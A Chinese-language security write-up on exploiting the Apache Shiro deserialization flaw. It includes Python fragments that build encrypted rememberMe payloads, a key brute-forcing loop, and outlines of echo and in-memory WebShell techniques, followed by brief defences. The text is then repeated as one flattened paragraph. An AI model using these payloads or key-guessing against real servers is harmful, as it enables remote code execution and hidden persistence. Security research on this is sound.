深入利用Shiro反序列化漏洞
字数 1619 2025-08-20 18:18:23

Apache Shiro 反序列化漏洞深入分析与利用

0x00 背景

Apache Shiro 反序列化 RCE 漏洞是实战中高频出现的漏洞类型。Shiro 框架在 Java Web 登录认证中广泛应用,其 payload 本身是加密的,无攻击特征,几乎不会被 WAF 检测和拦截。

0x01 Shiro 反序列化原理

漏洞核心流程

  1. Shiro 处理 cookie 的关键代码:先 decrypt 再反序列化
  2. 解密方法使用硬编码的 DEFAULT key(1.2.4 版本)
  3. CipherService 接口的唯一实现类是 JcaCipherService

CBC 加密模式分析

  • IV 是 ciphertext 的前 16 个字节
  • 只要知道 key 即可构造反序列化 payload
  • 1.4.2 之前很多 Shiro 可以通过遍历高频 key 攻击

CBC 模式 payload 生成关键代码

BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = pad(file_body)
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

0x02 高版本利用 (1.4.2+)

GCM 加密模式变化

  • 由于 padding oracle 影响,官方将加密方式改为 GCM
  • GCM 加密不需要 padding,但需要 MAC 值(tag)

GCM 模式 payload 生成关键代码

iv = os.urandom(16)
cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)          
ciphertext, tag = cipher.encrypt_and_digest(file_body) 
ciphertext = ciphertext + tag   
base64_ciphertext = base64.b64encode(iv + ciphertext)
return base64_ciphertext

0x03 攻击进阶技术

1. Key 检测技术

传统方法:使用 ysoserial 的 URLDNS 模块(依赖出网)

改进方法:使用空的 SimplePrincipalCollection 作为序列化对象

  • 正确 key:响应包不会返回 rememberMe=deleteMe
  • 错误 key:会返回 rememberMe=deleteMe

检测代码逻辑

r1 = requests.get(target, cookies={'rememberMe': "123"}, ...)
rsp1 = len(str(r1.headers))

for key in keys:
    payload = generate_payload(key, checkdata)
    r = requests.get(target, cookies={'rememberMe': payload}, ...)
    rsp = len(str(r.headers))
    if rsp1 != rsp and r.status_code != 400:
        print("!! Get key: {0}".format(key))
        exit()

2. 回显技术演进

  1. Linux 下半回显
  2. kingkk 的 Tomcat 通用半回显
  3. c0ny1 的半自动化挖掘
  4. fnmsd 的通用回显

fnmsd 通用回显原理

  • 在当前线程对象中搜索 request 对象
  • 判断请求头中是否存在指定请求头
  • 从 response 对象获取输出

注意点

  • 默认搜索深度 52 层可能不够(可改为 100 层)
  • 长 payload 可能超过 Tomcat header 限制长度
  • Nginx 下需要分段注入等替代方案

3. 内存 WebShell 技术

技术路线

  1. 注册 Filter(主流方案)
  2. 注册 Controller(观星师傅方案)

threedr3am 方案

  • 基于 Tomcat 的内存 WebShell
  • 通杀 Tomcat(除 Tomcat6)
  • 存在 payload 过长问题

涙涙笑改进方案

  • Cookie 中只插入自定义 ClassLoader
  • ClassLoader 反射调用 defineClass
  • 实际 payload 通过 POST 传递
  • 解决了长度限制问题

内存 WebShell 关键点

  1. 编译后的 byte 放在 static 代码块中
  2. POST 传递 classData 必须 URL 编码
  3. 可配合 reGeorg 实现代理

4. 内存 WebShell 适配冰蝎

挑战:冰蝎依赖的 pageContext 类在 SpringBoot 中不存在

解决方案

  1. 修改冰蝎服务端代码(不通用)
  2. 注入 pageContext 类 + 内存 WebShell

0x04 防御建议

  1. 升级到最新版 Shiro
  2. 使用随机生成的加密 key
  3. 禁用 rememberMe 功能(如不需要)
  4. 实施严格的输入过滤
  5. 监控异常 rememberMe cookie

工具与资源

  1. ysoserial 修改版(支持短 payload)
  2. 高频 key 字典
  3. 自动化检测与利用脚本
  4. 内存 WebShell 生成工具

总结

Shiro 反序列化漏洞利用技术经历了从简单到复杂的发展过程,攻击者已掌握多种绕过限制和实现高级利用的技术。防御方需要采取多层次防护措施,并及时跟进最新的安全补丁和防护方案。

Apache Shiro 反序列化漏洞深入分析与利用 0x00 背景 Apache Shiro 反序列化 RCE 漏洞是实战中高频出现的漏洞类型。Shiro 框架在 Java Web 登录认证中广泛应用,其 payload 本身是加密的,无攻击特征,几乎不会被 WAF 检测和拦截。 0x01 Shiro 反序列化原理 漏洞核心流程 Shiro 处理 cookie 的关键代码:先 decrypt 再反序列化 解密方法使用硬编码的 DEFAULT key(1.2.4 版本) CipherService 接口的唯一实现类是 JcaCipherService CBC 加密模式分析 IV 是 ciphertext 的前 16 个字节 只要知道 key 即可构造反序列化 payload 1.4.2 之前很多 Shiro 可以通过遍历高频 key 攻击 CBC 模式 payload 生成关键代码 0x02 高版本利用 (1.4.2+) GCM 加密模式变化 由于 padding oracle 影响,官方将加密方式改为 GCM GCM 加密不需要 padding,但需要 MAC 值(tag) GCM 模式 payload 生成关键代码 0x03 攻击进阶技术 1. Key 检测技术 传统方法 :使用 ysoserial 的 URLDNS 模块(依赖出网) 改进方法 :使用空的 SimplePrincipalCollection 作为序列化对象 正确 key:响应包不会返回 rememberMe=deleteMe 错误 key:会返回 rememberMe=deleteMe 检测代码逻辑 : 2. 回显技术演进 Linux 下半回显 kingkk 的 Tomcat 通用半回显 c0ny1 的半自动化挖掘 fnmsd 的通用回显 fnmsd 通用回显原理 : 在当前线程对象中搜索 request 对象 判断请求头中是否存在指定请求头 从 response 对象获取输出 注意点 : 默认搜索深度 52 层可能不够(可改为 100 层) 长 payload 可能超过 Tomcat header 限制长度 Nginx 下需要分段注入等替代方案 3. 内存 WebShell 技术 技术路线 : 注册 Filter(主流方案) 注册 Controller(观星师傅方案) threedr3am 方案 : 基于 Tomcat 的内存 WebShell 通杀 Tomcat(除 Tomcat6) 存在 payload 过长问题 涙涙笑改进方案 : Cookie 中只插入自定义 ClassLoader ClassLoader 反射调用 defineClass 实际 payload 通过 POST 传递 解决了长度限制问题 内存 WebShell 关键点 : 编译后的 byte 放在 static 代码块中 POST 传递 classData 必须 URL 编码 可配合 reGeorg 实现代理 4. 内存 WebShell 适配冰蝎 挑战 :冰蝎依赖的 pageContext 类在 SpringBoot 中不存在 解决方案 : 修改冰蝎服务端代码(不通用) 注入 pageContext 类 + 内存 WebShell 0x04 防御建议 升级到最新版 Shiro 使用随机生成的加密 key 禁用 rememberMe 功能(如不需要) 实施严格的输入过滤 监控异常 rememberMe cookie 工具与资源 ysoserial 修改版(支持短 payload) 高频 key 字典 自动化检测与利用脚本 内存 WebShell 生成工具 总结 Shiro 反序列化漏洞利用技术经历了从简单到复杂的发展过程,攻击者已掌握多种绕过限制和实现高级利用的技术。防御方需要采取多层次防护措施,并及时跟进最新的安全补丁和防护方案。